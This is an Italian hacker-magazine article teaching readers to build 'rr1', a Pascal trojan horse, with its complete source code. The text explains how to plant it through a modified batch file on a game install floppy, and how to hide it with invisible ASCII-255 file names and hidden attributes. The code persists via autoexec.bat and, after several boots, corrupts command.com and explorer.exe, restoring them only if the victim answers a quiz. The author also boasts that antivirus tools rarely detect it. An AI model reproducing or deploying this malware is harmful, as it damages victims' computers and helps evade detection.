2) Primi passi sulla costruzione di un Virus ( by RaggedRobin )
Questa parte della rivista e' dedicata a chi
vuole sapere qualcosa di piu' sul mondo dei virus. Per chi di virus ne
sa poco bisogna precisare che ne esistono di tre famiglie principali: quelli
che infettano il settore di boot, quelli che
si insediano in memoria e in fine i cavalli
di troia. In questo articolo vi parlero' di quest'ultimi. I cavalli di
troia sono programmi che una volta lanciati danneggiano in qualche modo
il computer, spesso formattano l'hard disk o cancellano files alla rinfusa.
Per creare un cavallo di troia non è necessario essere dei programmatori
eccezionali e se si ha un po' di fantasia
non e' necessario conoscere l'assembler. Il virus rr1 e' nella fattispecie
un trojan horse scritto in pascal, un linguaggio facile e che spesso viene
insegnato a scuola; rr1 e' un t.h. ma
a differenza di molti altri non agisce subito
ma aspetta che si riavvii il computer 5 volte. Il modo col quale renderlo
operativo e' semplice: per prima cosa e' necessario modificare un file
bat in un disketto (magari quello che installa un gioco), dal PROMPT DI
DOS bisogna scrivere : EDIT seguito da uno spazio e dal nome del file bat,
andare a capo, tenere premuto il tasto alt e scrivere dal tastierino numerico
255 quindi rilasciare alt, in questo modo avete inserito nel file bat il
carattere ascii 255 che è invisibile. Quando compilate rr1 dovete
rinominare, sempre da dos, il file con il carattere 255 dovete cioe' scrivere
ren rr1.exe (premete alt scrivete 255 da tastierino e lasciate alt).exe,
cambiate gli attributi del file nascondendolo (con il comando dos "attrib
+h nomefile" o con win, come preferite) e copiatelo in a. Una volta
che verra' lanciato il file bat che avete modificato il virus verra' copiato
in c:\windows, alla fine dell'autoexec.bat verrà aggiunto il carattere
255 in modo che ogni volta che si avvia il computer il file venga
caricato in memoria e il contatore che si
chiama group.txt e che si trova in c:\windows venga incrementato di uno.
Quando il contatore arriva a cinque il primo
carattere del command.com e dell'explorer.exe vengono incrementati di due,
vengono quindi fatte tre domande e se si risponde bene vengono rimessi
a posto i files. A causa delle sue caratteristiche questo virus viene difficilmente
scovato da programmi anti-vir. Semplice vero? Nel prossimo articolo vi
faro' vedere come si puo' complicare la vita agli utenti di win95.
program rr1;
uses DOS,CRT;
type conta=file of integer;
type autoexec=file of char;
var i,copy,risp2,invio:char;
auto,zone,gruppo,command,explorer:autoexec;
volte:conta;
harddisk:string[16];
dischetto:string[5];
j,contatore:integer;
risp:string[10];
procedure fallito;
begin
write('SPIACENTE
AMICO QUESTA VOLTA TI E'' ANDATA MALE !!!');
DELAY(2000);
HALT;
END;
begin
invio:=chr(13);
j:=0;
i:=chr(255);
{il carattere ASCII 255 e' invisibile}
assign(auto,'c:\autoexec.bat');
reset (auto);
assign(volte,'c:\windows\group.txt');
repeat
read(auto,copy);
if copy=i then j:=1;
until (eof(auto))
or (j=1); {guardo se autoexec.bat
e' infetto}
if j<> 1 then
begin
{se non lo e'}
seek(auto,filesize(auto)); {aggiungo un invio}
write(auto,invio); {e il
carattere 255}
invio:=char(10);
write(auto,invio);
write (auto,i);
{nell' autoexec.bat}
close (auto);
harddisk:='c:\windows\.exe'; {copio il virus su hd}
dischetto:='.exe';
insert(i,harddisk,12);
insert(i,dischetto,1);
assign(zone,dischetto);
assign(gruppo,harddisk);
reset(zone);
rewrite(gruppo);
repeat
read(zone,copy);
write(gruppo,copy);
until eof(zone);
close (zone);
close(gruppo);
rewrite(volte);
{creo il contatore}
write(volte,j);
close(volte);
SetFAttr(gruppo,Hidden); {nascondo il virus}
end;
reset (volte);
read(volte,contatore);
reset(volte);
contatore:=contatore+1;
write(volte,contatore);
close(volte);
reset(volte);
read(volte,contatore);
if contatore=4 then begin
{contatore=4=crack}
assign(command,'c:\command.com');
assign(explorer,'c:\windows\explorer.exe');
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)+2);
{aggiungo 2 al primo }
reset(explorer);
write(explorer,copy);
{carattere di }
read(command,copy);
{command.com ed }
copy:=char(ord(copy)+2);
{explorer.exe }
reset (command);
write (command,copy);
close (command);
close (explorer);
{QUESTO QUA' SOTTO E' L'AVVISO}
CLRSCR;
WRITELN('
SPIACENTE AMICO, TI SEI BECCATO UN VIRUS.');
WRITELN('
FOSSI IN TE NON SPEGNEREI IL COMPUTER.');
GOTOXY(1,5);
WRITELN('SE RISPONDI ALLE MIE DOMANDE
CANCELLERO'' IL VIRUS');
WRITELN('SE NON LO FARAI...PEGGIO PER
TE');
WRITE('PREMI UN TASTO PER INCOMINCIARE
E RICORDATI CHE NON PUOI ');
WRITELN('SBAGLIARE');
DELAY(2500);
{ritarda qualche secondo }
READKEY;
{per evitare che uno prema}
CLRSCR;
{un tasto per sbaglio }
{QUESTO INVECE E' L'HACK QUIZ}
REPEAT
WRITELN('Qual''
e' il nome di Mitnick?');
READLN(RISP);
WRITELN('NE
SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Kevin') OR (risp='KEVIN')
OR (RISP='kevin')
THEN BEGIN
WRITELN('PRIMA RISPOSTA GIUSTA!');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('Qual''
e' il sistema operativo piu' usato nelle reti?');
READLN(RISP);
WRITELN('NE
SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Unix') OR (risp='UNIX') OR
(RISP='unix')
THEN BEGIN
WRITELN('HAI AZZECCATO ANCHE LA SECONDA, COMPLIMENTI.');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('IL
SISTEMA OPERATIVO DA LA PRECEDENZA AI COM O AGLI EXE?');
READLN(RISP);
WRITELN('NE
SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='COM') OR (risp='Com') OR (RISP='com')
THEN BEGIN WRITELN('E ANCHE LA TERZA
E'' GIUSTA, ORA TOGLIERO'' IL VIRUS');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
{CON QUESTO METTO TUTTO A POSTO}
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)-2);
{tolgo 2 al primo }
reset(explorer);
{carattere di }
write(explorer,copy);
{command.com ed }
read(command,copy);
{explorer.exe }
copy:=char(ord(copy)-2);
reset (command);
write (command,copy);
close (command);
close (explorer);
end;
end.